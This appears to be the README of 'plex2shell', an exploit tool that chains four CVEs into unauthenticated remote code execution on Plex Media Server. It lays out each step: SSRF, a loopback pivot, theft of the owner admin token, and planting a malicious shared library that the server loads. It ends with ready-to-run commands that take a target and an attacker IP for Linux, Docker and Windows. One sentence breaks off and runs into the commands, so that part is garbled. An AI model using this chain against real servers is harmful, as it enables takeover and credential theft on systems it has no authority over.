
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
Unauth RCE chain for Plex Media Server 1.43.3.10828 and older.
CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Write-up: https://zmain.info/blog/plex2shell
This tool is published for authorized security testing, academic research, and defensive purposes only. Use it only against systems you own or have explicit written permission to test. The authors are not responsible for misuse or damage caused by this tool. Unauthorized access to computer systems is illegal.
| CVE | Primitive |
|---|---|
| CVE-2026-96652 | Unauthenticated SSRF via /player/timeline protocol= |
| CVE-2026-96654 | Loopback pivot: dead auth guard + searchOne identifier= injection |
| CVE-2026-96655 | Owner-authed transcoder SSRF + arbitrary-path file write (dump-yuv) |
| CVE-2026-96656 | Code execution via unsigned codec dlopen in the Codecs set-dir |
[bare internet, junk token]
|
(1) /player/timeline --- SSRF ---> loopback origin
|
(2) /system/agents/.../searchOne --- identifier= injection --->
| cross-plugin RPC
|
(3) networking.py:149 --- 127.0.0.1.* prefix confusion --->
| owner admin token exfil
v
attacker holds the OWNER admin token
|
(4) /video/:/transcode/universal?path=<url> --- transcoder SSRF --->
| fetch attacker media
|
(5) TranscoderH264Options=dump-yuv --- x264 writes attacker ELF
| into Codecs set-dir
v
second transcode -> dlopen()s every *.so -> constructor runs
v
[uid=1000(plex)]
The payload is the frame-0 luma of a lossless (qp=0) carrier that the
ffmpeg, gcc (or x86_64-w64-mingw32-gcc for Windows targets)# Linux native (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# One-shot:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
--help for everything else.
GPLv3